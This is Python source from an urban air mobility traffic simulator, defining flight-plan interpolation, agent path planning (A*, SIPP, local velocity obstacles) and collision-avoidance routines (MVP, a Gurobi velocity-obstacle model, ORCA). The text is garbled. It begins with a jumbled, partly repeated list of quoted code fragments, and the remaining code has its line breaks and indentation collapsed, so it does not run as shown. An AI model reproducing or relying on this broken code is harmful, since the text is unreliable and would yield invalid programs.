'LocalVO': timer_start = python_time.time()", "debug=False): \"\"\" Returns trajectory between start_time and end_time\"\"\" if (start_time - self.end_time) >=", "if algo_type == 'LocalVO': timer_start = python_time.time() local_planner = pathPlanning.Local_VO(self.start, self.goal, self.start_time, self.maxSpeed,", "= {'flight_status': self.flight_status, 'agent_type': self.agent_logic, 'desired_time_of_departure': self.desired_start_time, 'agent_id':self.id} if self.flight_status== 'finished' or self.flight_status", "(>=0) theta = math.atan2(rel_pos[1], rel_pos[0]) vector1 = [math.cos(theta + alpha), math.sin(theta + alpha)]", "python_time.time() d = np.linalg.norm(self.goal - self.position) speed = min(d / dt, self.maxSpeed) desired_velocity", "vel = self.velocity * v_clamped / np.linalg.norm(self.velocity) theta=math.copysign(max_angle,turn_angle) return vel @ np.asarray([[math.cos(theta), math.sin(theta)],", ">= -1e-4 or (end_time - self.start_time) <= 1e-4: return None, None trajectory_end_time =", "+90 degrees constraint1 = lambda x, y: np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1", "one more time # print('agent start and goal are close, redrawing at random')", "= float((trajectory_start_time - self.start_time) / self.time_step) end_index_float = float((trajectory_end_time - self.start_time) / self.time_step)", "index in range(lower, upper + 1): trajectory.append(self.positions[index]) # times.append(self.start_time+index*self.time_step) times.append(self.times[index]) if upper !=", "surrounding vehicles decide where to go # Based on Hoekstra Bluesky simulator #", "not success: self.flight_status = 'cancelled' return None self.start_time = times[0] self.flightPlan = Flightplan(times[0],", "already moving away from conflict (tcpa is negative) then just keep going if", "for vehicle in neighbors: if t >= vehicle.start_time and vehicle.id != self.id: #", "actual start time if a ground delay is planned if np.linalg.norm(self.goal - self.start)", "constraint(0, 0) a = constraint(1, 0) - c b = constraint(0, 1) -", "step is '+str(self.time_step)) print('start_time is '+str(start_time)) print('end_time '+str(end_time)) print('positions '+str(self.positions)) print('times '+str(self.times)) print(start_time-self.end_time)", "+ 0.1 * normal_1, normal_1) # must be smaller normal_2 = np.array([-vector2[1], vector2[0]])", "self.start_time + (len(self.positions) - 1) * self.time_step else: self.end_time=self.times[-1] def get_planned_position_at(self, time, return_velocity=False,", "self.collision_avoidance(dt, algo_type=self.algo_type) self.new_velocity = self.velocity_update(self.new_velocity) self.new_position += self.new_velocity * dt if self.agent_logic ==", "self.n_steps += 1 if self.algo_type is None: self.algo_type = 'MVP' self.new_velocity = self.collision_avoidance(dt,", "-1e-4 or (end_time - self.start_time) <= 1e-4: return None, None trajectory_end_time = min(end_time,", "neighbors = self.environment.get_neighbors(self.position, self.radius) for vehicle in neighbors: if t >= vehicle.start_time and", "[math.cos(theta + alpha), math.sin(theta + alpha)] vector2 = [math.cos(theta - alpha), math.sin(theta -", "def collision_avoidance(self, dt, algo_type='MVP'): # Given current position, next flight plan goal and", "self.start_time, self.maxSpeed, self.centralized_manager) success, plan, times = astar_planner.search() if not success: self.flight_status =", "trajectory, times def get_end_time(self): if self.time_step is not None: return self.start_time + (len(self.positions)", "end (or vice versa) if start is None or end is None: self.start,", "None # Can't have random start and not random end (or vice versa)", "print(intruder_agent.position) alpha = math.asin(ownship_agent.radius / d) # VO cone half-angle (>=0) theta =", "self.centralized_manager is None: print('agent.py preflight error, a centralized manager must exist') if algo_type", "model.update() X = model.getVars() n_intruder = 0 for intruder in intruders: constraints_or =", "'VO': timer_start = python_time.time() intruders = self.get_neighbors() d = np.linalg.norm(self.goal - self.position) speed", "(np.linalg.norm(self.goal - self.start)) self.new_velocity = self.velocity self.trajectory = [] self.trajectory_times = [] self.collision_avoidance_time", "= python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity + velocity_change elif algo_type == 'VO':", "not happen') print('distance to goal is 0') desired_velocity = (self.goal - self.position) *", "time a flight plan must exist') return self.start_time def compute_next_move(self, current_time, dt, debug=False,", "self.agent_dynamics is None: return new_velocity * v_clamped / v else: turn_angle = my_utils.get_angle(self.velocity,", "- intruder_agent.velocity) + 0.1 * normal_1, normal_1) # must be smaller normal_2 =", "== 'SIPP': timer_start = python_time.time() sipp_planner = pathPlanning.SIPP(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance)", "n_intruder] + X[2 + 2 * n_intruder + 1] <= 1) n_intruder +=", "= sensing_radius self.desired_start_time = start_time self.start_time = start_time # actual start time if", "return True def collision_avoidance(self, dt, algo_type='MVP'): # Given current position, next flight plan", "c = constraint(0, 0) a = constraint(1, 0) - c b = constraint(0,", "- c b = constraint(0, 1) - c # K must be arbitrarily", "idx_low + (time - self.times[idx_low]) / (self.times[idx_high] - self.times[idx_low]) pos_high = self.positions[idx_high] pos_low", "if self.algo_type is None: self.algo_type = 'MVP' self.new_velocity = self.collision_avoidance(dt, algo_type=self.algo_type) self.new_velocity =", "normal_2) return constraint1, constraint2 def setupMIQCP(intruders, desired_vel, ownship_agent): \"\"\" Intruders should be an", "velocity = (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity else: return self.positions[idx_high] idx_float = idx_low +", "id self.environment = env self.centralized_manager = centralized_manager self.agent_dynamics = agent_dynamics if agent_logic ==", "times.append(trajectory_end_time) else: start_index_float = float((trajectory_start_time - self.start_time) / self.time_step) end_index_float = float((trajectory_end_time -", "random end (or vice versa) if start is None or end is None:", "of Closest Approach delta_pos = self.position - neighbor.position dist=np.linalg.norm(delta_pos) delta_vel = desired_velocity -", "None: self.trajectory.append(np.copy(goal_pos)) self.trajectory_times.append(t) def log_agent(self): agent_log = {'flight_status': self.flight_status, 'agent_type': self.agent_logic, 'desired_time_of_departure': self.desired_start_time,", "= np.copy(self.new_position) self.velocity = np.copy(self.new_velocity) return self.position def velocity_update(self, new_velocity): # Introduce kinematic", "+= self.new_velocity * dt if self.agent_logic == 'strategic': # Follow flight plan (without", "positions self.time_step = dt self.times = None if times is not None: self.time_step", "is an int if return_velocity: if idx_high == n-1: velocity = np.array([0, 0])", "math.sin(orientation)]) * max_step_length def move(self): self.position = np.copy(self.new_position) self.velocity = np.copy(self.new_velocity) return self.position", "int if return_velocity: if idx_high == n-1: velocity = np.array([0, 0]) else: velocity", "* max_step_length def move(self): self.position = np.copy(self.new_position) self.velocity = np.copy(self.new_velocity) return self.position def", "the next position in self.new_position. The position is updated when move is called", "idx_high == n-1: velocity = np.array([0, 0]) else: velocity = (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high],", "class Agent: def __init__(self, env, radius, max_speed, start=None, end=None, start_time=0, agent_logic='dumb', centralized_manager=None, algo_type=None,", "neighbor.velocity if np.linalg.norm(delta_vel)==0: t_cpa=0 else: t_cpa=-np.dot(delta_pos, delta_vel) / np.dot(delta_vel, delta_vel) dcpa = delta_pos+delta_vel*t_cpa", "self.start_time) / self.time_step) lower = math.ceil(start_index_float) upper = min(math.floor(end_index_float), len(self.positions) - 1) if", "then returns the exact pos if debug: print(idx_float) print(pos_high) print(pos_low) if return_velocity: return", "= math.atan2(goal[1] - current_position[1], goal[0] - current_position[0]) d = np.linalg.norm(goal - current_position) max_step_length", "# TODO tolerances are a bit of a mess while d > self.maxSpeed", "get_planned_position_at(self, time, return_velocity=False, ignore_timed_out=False, debug=False): \"\"\" Interpolates between the flight points \"\"\" if", "return True neighbors = self.environment.get_neighbors(self.position, self.radius) for vehicle in neighbors: if t >=", "[] plan.append(self.start) pos = np.copy(self.start) d = np.linalg.norm(self.goal - pos) # Larger time", "d timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity else: print(algo_type+' not implemented", "timer_start return self.flightPlan if algo_type == 'A_star_8': timer_start = python_time.time() astar_planner = pathPlanning.AStar_8grid(self.start,", "(self.goal - self.position) * speed / d model = setupMIQCP(intruders, desired_velocity, self) model.optimize()", "np.array([math.cos(orientation), math.sin(orientation)]) * max_step_length def move(self): self.position = np.copy(self.new_position) self.velocity = np.copy(self.new_velocity) return", "+= 1 model.addConstr(X[0] * X[0] + X[1] * X[1] <= max_vel ** 2)", "self.agent_logic == 'reactive': self.cumulative_density += density self.n_steps += 1 if self.algo_type is None:", "my_utils from uam_simulator import pathPlanning from uam_simulator import orca import gurobipy as grb", "algo type ' + algo_type + ' is not implemented') def can_safely_take_off(self, t):", "self.start = start self.goal = end self.position = np.copy(self.start) # Passed by reference", "model = setupMIQCP(intruders, desired_velocity, self) model.optimize() if model.status != GRB.Status.OPTIMAL: print('Error gurobi failed", "algo_type == 'LocalVO': timer_start = python_time.time() local_planner = pathPlanning.Local_VO(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager,", "'cancelled' return None self.start_time = times[0] self.flightPlan = Flightplan(times[0], times[1] - times[0], plan,", "self.end_time=self.times[-1] def get_planned_position_at(self, time, return_velocity=False, ignore_timed_out=False, debug=False): \"\"\" Interpolates between the flight points", "move(self): self.position = np.copy(self.new_position) self.velocity = np.copy(self.new_velocity) return self.position def velocity_update(self, new_velocity): #", "publish it self.density = density if self.centralized_manager is None: print('agent.py preflight error, a", "'agent_id':self.id} if self.flight_status== 'finished' or self.flight_status == 'ongoing': agent_log['actual_time_of_departure'] = self.start_time if self.flight_status", "(self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity else: return self.positions[idx_high] idx_float = idx_low + (time -", "success, plan, times = decoupled_planner.search() if not success: self.flight_status = 'cancelled' return None", "1 agent_log['flight_status']= self.flight_status agent_log['agent_type']= self.agent_logic agent_log['length_ideal']= ideal_length agent_log['actual_length']= actual_length agent_log['ideal_time_of_arrival']= self.desired_start_time+ideal_length / self.maxSpeed", "else: velocity = (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity else: return self.positions[idx_high] idx_float = idx_low", "x, y: np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1 * normal_1, normal_1) # must", "print(algo_type+' not implemented ') def get_neighbors(self): neighbors = self.environment.get_neighbors(self.position, self.sensing_radius) if neighbors ==", "## Debug if len(times) < 2: print('the plan is too short') print('agent start", "(or vice versa) if start is None or end is None: self.start, self.goal", "the protected radius') print(ownship_agent.position) print(intruder_agent.position) alpha = math.asin(ownship_agent.radius / d) # VO cone", "self.goal) < 10: # Play one more time # print('agent start and goal", "self.t_removed_from_sim=None if agent_logic == 'dumb': self.ownship = False else: self.ownship = True self.flight_status", "trajectory.append(self.positions[index]) # times.append(self.start_time+index*self.time_step) times.append(self.times[index]) if upper != end_index_float: pos_end = self.get_planned_position_at(end_time) trajectory.append(pos_end) times.append(trajectory_end_time)", "predicted end time a flight plan must exist') return self.start_time def compute_next_move(self, current_time,", "= np.linalg.norm(goal - current_position) max_step_length = min(speed * dt, d) # slow down", "when the binary constraint is 1 the constraint is always respected K =", "step return current_position + np.array([math.cos(orientation), math.sin(orientation)]) * max_step_length def move(self): self.position = np.copy(self.new_position)", "pos_low + (pos_high - pos_low) * (idx_float - idx_low), (pos_high-pos_low)/(self.times[idx_high]-self.times[idx_low]) else: return pos_low", "import orca import gurobipy as grb from gurobipy import GRB import time as", "'A_star_8': timer_start = python_time.time() astar_planner = pathPlanning.AStar_8grid(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager) success, plan,", "the flight points \"\"\" if ignore_timed_out and time > self.end_time: if return_velocity: return", "= constraint(0, 1) - c # K must be arbitrarily large so that", "between start_time and end_time\"\"\" if (start_time - self.end_time) >= -1e-4 or (end_time -", "0 for constraint in constraints_or: c = constraint(0, 0) a = constraint(1, 0)", "self.velocity self.trajectory = [] self.trajectory_times = [] self.collision_avoidance_time = [] self.preflight_time = None", "going if t_cpa<=0: dV = 0 else: dV =(self.radius*safety_factor - dabsH)*dcpa/(abs(t_cpa)*dabsH) velocity_change +=", "'Straight': timer_start = python_time.time() plan = [] plan.append(self.start) pos = np.copy(self.start) d =", "is always respected K = abs(a * max_vel) + abs(b * max_vel) +", "gurobipy as grb from gurobipy import GRB import time as python_time class Flightplan:", "idx_high = np.searchsorted(self.times, time) idx_low = max(0, idx_high - 1) if self.times[idx_high] ==", "dist: erratum = np.cos(np.arcsin((self.radius*safety_factor) / dist) - np.arcsin(dabsH / dist)) dV =(((self.radius*safety_factor) /", "= centralized_manager self.agent_dynamics = agent_dynamics if agent_logic == 'dumb': protected_area = self.environment.get_protected_area() else:", "None, None else: return None n = len(self.positions) if self.time_step is not None:", "return self.flightPlan.end_time else: print('Agent: in order to get the predicted end time a", "== ownship_agent: print('get_VO this should not happen intruder and ownship are the same')", "d > self.maxSpeed * dt: pos = self.compute_straight_move(pos, self.goal, self.maxSpeed, dt) d =", "# requires interpolation # Since we already now the index we could avoid", "0: plan.append(self.goal) self.flightPlan = Flightplan(self.start_time, dt, plan) timer_end = python_time.time() self.preflight_time = timer_end", "d = np.linalg.norm(goal - current_position) max_step_length = min(speed * dt, d) # slow", "== 'MVP_Bluesky': timer_start = python_time.time() neighbors = self.get_neighbors() velocity_change = np.asarray([0.0, 0.0]) direction", "else: # If already moving away from conflict (tcpa is negative) then just", "dt, self.maxSpeed) desired_velocity = (self.goal - self.position) * speed / d timer_end =", "time, return_velocity=False, ignore_timed_out=False, debug=False): \"\"\" Interpolates between the flight points \"\"\" if ignore_timed_out", "and vehicle.id != self.id: # if np.linalg.norm(self.position - vehicle.position) <= self.radius: self.flight_status =", "self.agent_logic agent_log['length_ideal']= ideal_length agent_log['actual_length']= actual_length agent_log['ideal_time_of_arrival']= self.desired_start_time+ideal_length / self.maxSpeed agent_log['actual_time_of_arrival']= self.arrival_time if self.t_removed_from_sim", "rel_pos[0]) vector1 = [math.cos(theta + alpha), math.sin(theta + alpha)] vector2 = [math.cos(theta -", "start_time and end_time\"\"\" if (start_time - self.end_time) >= -1e-4 or (end_time - self.start_time)", "vel elif algo_type == 'straight': timer_start = python_time.time() d = np.linalg.norm(self.goal - self.position)", "return vel @ np.asarray([[math.cos(theta), math.sin(theta)], [-math.sin(theta), math.cos(theta)]]) else: return new_velocity * v_clamped /", "pos_0 = np.copy(pos) direction = self.goal - self.start heading = math.atan2(direction[1], direction[0]) if", "i in range(0, len(self.positions))]) if self.time_step is not None: self.end_time = self.start_time +", "and surrounding vehicles decide where to go # Based on Hoekstra Bluesky simulator", "a flight plan must exist') return self.start_time def compute_next_move(self, current_time, dt, debug=False, density=0):", "- vehicle.position) <= self.radius: self.flight_status = 'waiting' return False self.start_time = t return", "the constraint is always respected K = abs(a * max_vel) + abs(b *", "in range(start_index, end_index): trajectory.append(self.positions[i]) times.append(self.times[i]) # trajectory_end_time <= times[end_index] if abs(self.times[end_index]-trajectory_end_time) > 1e-4:", "# dV=0 # else: for neighbor in neighbors: # Find Time of Closest", "1e-4: return None, None trajectory_end_time = min(end_time, self.end_time) trajectory_start_time = max(start_time, self.start_time) trajectory", "and publish it self.density = density if self.centralized_manager is None: print('agent.py preflight error,", "= start_time self.start_time = start_time # actual start time if a ground delay", "min(math.floor(idx_float), n - 1) idx_high = min(math.ceil(idx_float), n - 1) if idx_low ==", "self.cumulative_density=0 self.density=0 self.n_steps=0 self.flight_leg=flight_leg def get_predicted_end_time(self): if self.flightPlan is not None: return self.flightPlan.end_time", "print('agent plan times ' + str(times)) self.flightPlan = Flightplan(times[0], times[1] - times[0], plan,", "clamp the velocity and instantly change the orientation v = np.linalg.norm(new_velocity) v_clamped =", "if not success: self.flight_status = 'cancelled' timer_end = python_time.time() self.preflight_time = timer_end -", "- self.start heading = math.atan2(direction[1], direction[0]) if self.agent_logic == 'reactive': self.density = self.cumulative_density/self.n_steps", "constraints_or = get_VO(intruder, ownship_agent) n_constraint = 0 for constraint in constraints_or: c =", "desired_velocity = (self.goal - self.position) * speed / d timer_end = python_time.time() self.collision_avoidance_time.append(timer_end", "should be an array of agents \"\"\" model = grb.Model('VO') max_vel = ownship_agent.maxSpeed", "time if a ground delay is planned if np.linalg.norm(self.goal - self.start) == 0:", "success: self.flight_status = 'cancelled' return None self.start_time = times[0] ## Debug if len(times)", "= self.trajectory[0] for pos in self.trajectory: d = np.linalg.norm(pos - pos_0) actual_length +=", "None self.start_time = times[0] self.flightPlan = Flightplan(times[0], times[1] - times[0], plan, times=np.array(times)) timer_end", "velocity and instantly change the orientation v = np.linalg.norm(new_velocity) v_clamped = my_utils.clamp(self.minSpeed, self.maxSpeed,", "# slow down to arrive at the goal on the next time step", "not be feasible if algo_type == 'MVP_Bluesky': timer_start = python_time.time() neighbors = self.get_neighbors()", "== 'Straight': timer_start = python_time.time() plan = [] plan.append(self.start) pos = np.copy(self.start) d", "might not be feasible if algo_type == 'MVP_Bluesky': timer_start = python_time.time() neighbors =", "Based on Hoekstra Bluesky simulator # The returned velocity might not be feasible", "timer_start) return desired_velocity + velocity_change elif algo_type == 'VO': timer_start = python_time.time() intruders", "self.flight_status== 'finished' or self.flight_status == 'ongoing': agent_log['actual_time_of_departure'] = self.start_time if self.flight_status == 'finished':", "dabsH if self.radius*safety_factor < dist: erratum = np.cos(np.arcsin((self.radius*safety_factor) / dist) - np.arcsin(dabsH /", "== idx_high: if return_velocity: if idx_high == n-1: velocity = np.array([0, 0]) else:", "= self.get_planned_position_at(start_time) trajectory.append(np.copy(pos_0)) times.append(trajectory_start_time) for index in range(lower, upper + 1): trajectory.append(self.positions[index]) #", "v = np.linalg.norm(new_velocity) v_clamped = my_utils.clamp(self.minSpeed, self.maxSpeed, v) if self.agent_dynamics is None: return", "self.tolerance) success, plan, times = decoupled_planner.search() if not success: self.flight_status = 'cancelled' return", "trajectory between start_time and end_time\"\"\" if (start_time - self.end_time) >= -1e-4 or (end_time", "else: print('Agent: in order to get the predicted end time a flight plan", "if t >= vehicle.start_time and vehicle.id != self.id: # if np.linalg.norm(self.position - vehicle.position)", "order to get the predicted end time a flight plan must exist') return", "- self.position) / dt if debug: print('New position ' + str(self.new_position)) print('old position", "end time a flight plan must exist') return self.start_time def compute_next_move(self, current_time, dt,", "self.end_time) trajectory_start_time = max(start_time, self.start_time) trajectory = [] times = [] if debug:", "- self.goal) < 10: print('unlikely, agent start and goal are still close') else:", "if not success: self.flight_status = 'cancelled' return None self.start_time = times[0] self.flightPlan =", "# if d<=self.radius: # dV=0 # else: for neighbor in neighbors: # Find", "close') else: self.start = start self.goal = end self.position = np.copy(self.start) # Passed", "= 'initialized' self.algo_type = algo_type self.cumulative_density=0 self.density=0 self.n_steps=0 self.flight_leg=flight_leg def get_predicted_end_time(self): if self.flightPlan", "next position in self.new_position. The position is updated when move is called \"\"\"", "kinematic properties) self.new_position = self.flightPlan.get_planned_position_at(current_time + dt, debug=debug) self.new_velocity = (self.new_position - self.position)", "- pos) # Larger time steps require larger tolerance # TODO tolerances are", "larger tolerance # TODO tolerances are a bit of a mess while d", "self.goal, self.maxSpeed, dt) d = np.linalg.norm(self.goal - pos) plan.append(pos) if d != 0:", "'waiting' return False self.start_time = t return True def collision_avoidance(self, dt, algo_type='MVP'): #", "there is a conflict if dabsH < self.radius: # If head-on conflict if", "position, next flight plan goal and surrounding vehicles decide where to go #", "on the next time step return current_position + np.array([math.cos(orientation), math.sin(orientation)]) * max_step_length def", "+= density self.n_steps += 1 if self.algo_type is None: self.algo_type = 'MVP' self.new_velocity", "if debug: print('time step is '+str(self.time_step)) print('start_time is '+str(start_time)) print('end_time '+str(end_time)) print('positions '+str(self.positions))", "if idx_low == idx_high: # Indices are equal because idx_float is an int", "None: self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) < 10: # Play", "t0 self.positions = positions self.time_step = dt self.times = None if times is", "d: print('there is an intruder in the protected radius') print(ownship_agent.position) print(intruder_agent.position) alpha =", "elif algo_type == 'ORCA': timer_start = python_time.time() reactive_solver = orca.ORCA() vel=reactive_solver.compute_new_velocity(self, dt) timer_end", "(self.goal - self.start) / (np.linalg.norm(self.goal - self.start)) self.new_velocity = self.velocity self.trajectory = []", "from conflict (tcpa is negative) then just keep going if t_cpa<=0: dV =", "self.preflight_time = timer_end - timer_start return self.flightPlan if algo_type == 'LocalVO': timer_start =", "updated when move is called \"\"\" if self.agent_logic == 'dumb': self.new_position = self.compute_straight_move(self.position,", "dt, d) # slow down to arrive at the goal on the next", "'desired_time_of_departure': self.desired_start_time, 'agent_id':self.id} if self.flight_status== 'finished' or self.flight_status == 'ongoing': agent_log['actual_time_of_departure'] = self.start_time", "and end_time\"\"\" if (start_time - self.end_time) >= -1e-4 or (end_time - self.start_time) <=", "# self.times is sorted [start_index, end_index] = np.searchsorted(self.times, [trajectory_start_time, trajectory_end_time]) temp = self.times[start_index]", "desired_velocity + velocity_change elif algo_type == 'VO': timer_start = python_time.time() intruders = self.get_neighbors()", "- self.end_time) >= -1e-4 or (end_time - self.start_time) <= 1e-4: return None, None", "self.velocity * v_clamped / np.linalg.norm(self.velocity) theta=math.copysign(max_angle,turn_angle) return vel @ np.asarray([[math.cos(theta), math.sin(theta)], [-math.sin(theta), math.cos(theta)]])", "min(math.ceil(idx_float), n - 1) if idx_low == idx_high: # Indices are equal because", "agent_dynamics if agent_logic == 'dumb': protected_area = self.environment.get_protected_area() else: # All other agents", "= np.linalg.norm(pos - pos_0) actual_length += d pos_0 = np.copy(pos) direction = self.goal", "and ownship are the same') rel_pos = intruder_agent.position - ownship_agent.position d = np.linalg.norm(rel_pos)", "= np.array([vector1[1], -vector1[0]]) # Rotated +90 degrees constraint1 = lambda x, y: np.dot((np.array([x,", "= None self.flightPlan = None self.status = 'ok' self.agent_logic = agent_logic self.tolerance =", "self.algo_type is None: self.algo_type = 'MVP' self.new_velocity = self.collision_avoidance(dt, algo_type=self.algo_type) self.new_velocity = self.velocity_update(self.new_velocity)", "print('the plan is too short') print('agent start '+ str(self.start)) print('agent goal '+str(self.goal)) print('agent", "return self.positions[idx_high] else: if time > self.times[-1]: return np.copy(self.positions[-1]) idx_high = np.searchsorted(self.times, time)", "agent_log['flight_status']= self.flight_status agent_log['agent_type']= self.agent_logic agent_log['length_ideal']= ideal_length agent_log['actual_length']= actual_length agent_log['ideal_time_of_arrival']= self.desired_start_time+ideal_length / self.maxSpeed agent_log['actual_time_of_arrival']=", "intruders: constraints_or = get_VO(intruder, ownship_agent) n_constraint = 0 for constraint in constraints_or: c", "0: print('VO, this should not happen') print('distance to goal is 0') desired_velocity =", "if abs(self.times[end_index]-trajectory_end_time) > 1e-4: # requires interpolation trajectory.append(self.get_planned_position_at(trajectory_end_time)) times.append(trajectory_end_time) else: trajectory.append(self.positions[end_index]) times.append(trajectory_end_time) else:", "= self.velocity_update(self.new_velocity) self.new_position += self.new_velocity * dt if self.agent_logic == 'strategic': # Follow", "self.trajectory_times = [] self.collision_avoidance_time = [] self.preflight_time = None self.flightPlan = None self.status", "centralized_manager=None, algo_type=None, agent_dynamics=None, id=0, sensing_radius=10000, flight_leg='initial'): self.id = id self.environment = env self.centralized_manager", "self.goal, self.maxSpeed, dt) self.new_velocity = (self.new_position - self.position) / dt if self.agent_logic ==", "d = np.linalg.norm(self.goal - pos) plan.append(pos) if d != 0: plan.append(self.goal) self.flightPlan =", "constraint is always respected K = abs(a * max_vel) + abs(b * max_vel)", "timer_start = python_time.time() decoupled_planner = pathPlanning.DecoupledApproach(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan,", "return None, None trajectory_end_time = min(end_time, self.end_time) trajectory_start_time = max(start_time, self.start_time) trajectory =", "d = np.linalg.norm(rel_pos) if d == 0: print('the distance between the two agents", "ownship_agent): \"\"\" Intruders should be an array of agents \"\"\" model = grb.Model('VO')", "arrive at the goal on the next time step return current_position + np.array([math.cos(orientation),", "> self.times[-1]: return np.copy(self.positions[-1]) idx_high = np.searchsorted(self.times, time) idx_low = max(0, idx_high -", "return self.start_time def compute_next_move(self, current_time, dt, debug=False, density=0): \"\"\" Store the next position", "end_index] = np.searchsorted(self.times, [trajectory_start_time, trajectory_end_time]) temp = self.times[start_index] if abs(self.times[start_index]-trajectory_start_time) > 1e-4: #", "= times[0] ## Debug if len(times) < 2: print('the plan is too short')", "np.cos(np.arcsin((self.radius*safety_factor) / dist) - np.arcsin(dabsH / dist)) dV =(((self.radius*safety_factor) / erratum - dabsH)", "intruder_agent.velocity) + 0.1 * normal_2, normal_2) return constraint1, constraint2 def setupMIQCP(intruders, desired_vel, ownship_agent):", "self.start_time = times[0] self.flightPlan = Flightplan(times[0], times[1] - times[0], plan, times=np.array(times)) timer_end =", "direction = self.goal - self.position d = np.linalg.norm(direction) desired_velocity = min(self.maxSpeed, d /", "- timer_start return self.flightPlan else: print('The algo type ' + algo_type + '", "abs(a * max_vel) + abs(b * max_vel) + c model.addConstr(a * X[0] +", "dcpa[1] = -delta_pos[0] / dist * dabsH if self.radius*safety_factor < dist: erratum =", "happens if start and goal are really close print(self.start) print(self.goal) pos_0 = self.trajectory[0]", "agent_log['length_ideal']= ideal_length agent_log['actual_length']= actual_length agent_log['ideal_time_of_arrival']= self.desired_start_time+ideal_length / self.maxSpeed agent_log['actual_time_of_arrival']= self.arrival_time if self.t_removed_from_sim is", "self.flightPlan else: print('The algo type ' + algo_type + ' is not implemented')", "a conflict if dabsH < self.radius: # If head-on conflict if dabsH<=10: dabsH=10", "[trajectory_start_time, trajectory_end_time]) temp = self.times[start_index] if abs(self.times[start_index]-trajectory_start_time) > 1e-4: # requires interpolation #", "vel=reactive_solver.compute_new_velocity(self, dt) timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return vel elif algo_type ==", "\"\"\" Intruders should be an array of agents \"\"\" model = grb.Model('VO') max_vel", "max_speed, start=None, end=None, start_time=0, agent_logic='dumb', centralized_manager=None, algo_type=None, agent_dynamics=None, id=0, sensing_radius=10000, flight_leg='initial'): self.id =", "= t self.t_removed_from_sim=t_removed_from_sim if goal_pos is not None: self.trajectory.append(np.copy(goal_pos)) self.trajectory_times.append(t) def log_agent(self): agent_log", "* dt if self.agent_logic == 'strategic': # Follow flight plan (without consideration for", "dV =(self.radius*safety_factor - dabsH)*dcpa/(abs(t_cpa)*dabsH) velocity_change += dV timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start)", "- 1) * self.time_step else: return self.times[-1] class Agent: def __init__(self, env, radius,", "+ (X[1] - desired_vel[1]) * (X[1] - desired_vel[1]), GRB.MINIMIZE) model.setParam(\"OutputFlag\", 0) model.setParam(\"FeasibilityTol\", 1e-9)", "python_time.time() sipp_planner = pathPlanning.SIPP(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times =", "delta_pos = self.position - neighbor.position dist=np.linalg.norm(delta_pos) delta_vel = desired_velocity - neighbor.velocity if np.linalg.norm(delta_vel)==0:", "= 0 if self.trajectory == []: print('agent, empty trajectory ') # happens if", "idx_high = min(math.ceil(idx_float), n - 1) if idx_low == idx_high: # Indices are", "dt if self.agent_logic == 'reactive': self.cumulative_density += density self.n_steps += 1 if self.algo_type", "t0, dt, positions, times=None): self.start_time = t0 self.positions = positions self.time_step = dt", "self.positions[idx_high] idx_float = idx_low + (time - self.times[idx_low]) / (self.times[idx_high] - self.times[idx_low]) pos_high", "random start and not random end (or vice versa) if start is None", "a mess while d > self.maxSpeed * dt: pos = self.compute_straight_move(pos, self.goal, self.maxSpeed,", "velocity = (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity else: return self.positions[idx_high] else: if time >", "If there is a conflict if dabsH < self.radius: # If head-on conflict", "velocity else: return self.positions[idx_high] else: if time > self.times[-1]: return np.copy(self.positions[-1]) idx_high =", "1) if lower != start_index_float: pos_0 = self.get_planned_position_at(start_time) trajectory.append(np.copy(pos_0)) times.append(trajectory_start_time) for index in", "= local_planner.search() if not success: self.flight_status = 'cancelled' return None self.start_time = times[0]", "1) idx_high = min(math.ceil(idx_float), n - 1) if idx_low == idx_high: # Indices", "a ground delay is planned if np.linalg.norm(self.goal - self.start) == 0: print(agent_logic) print(start)", "> self.end_time: if return_velocity: return None, None else: return None n = len(self.positions)", "python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return vel elif algo_type == 'straight': timer_start = python_time.time()", "constraint1 = lambda x, y: np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1 * normal_1,", "current_position[0]) d = np.linalg.norm(goal - current_position) max_step_length = min(speed * dt, d) #", "idx_float is an int if return_velocity: if idx_high == n-1: velocity = np.array([0,", "import gurobipy as grb from gurobipy import GRB import time as python_time class", "timer_start = python_time.time() neighbors = self.get_neighbors() velocity_change = np.asarray([0.0, 0.0]) direction = self.goal", "(pos_high-pos_low)/(self.times[idx_high]-self.times[idx_low]) else: return pos_low + (pos_high - pos_low) * (idx_float - idx_low) def", "if return_velocity: if idx_high == n-1: velocity = np.array([0, 0]) else: velocity =", "to go # Based on Hoekstra Bluesky simulator # The returned velocity might", "python_time class Flightplan: def __init__(self, t0, dt, positions, times=None): self.start_time = t0 self.positions", "# If head-on conflict if dabsH<=10: dabsH=10 dcpa[0] = delta_pos[1] / dist *", "Hoekstra Bluesky simulator # The returned velocity might not be feasible if algo_type", "= 0 else: dV =(self.radius*safety_factor - dabsH)*dcpa/(abs(t_cpa)*dabsH) velocity_change += dV timer_end = python_time.time()", "start=None, end=None, start_time=0, agent_logic='dumb', centralized_manager=None, algo_type=None, agent_dynamics=None, id=0, sensing_radius=10000, flight_leg='initial'): self.id = id", "self.position = np.copy(self.new_position) self.velocity = np.copy(self.new_velocity) return self.position def velocity_update(self, new_velocity): # Introduce", "+= d pos_0 = np.copy(pos) direction = self.goal - self.start heading = math.atan2(direction[1],", "None: agent_log['time_removed_from_sim']=self.t_removed_from_sim agent_log['heading']= heading 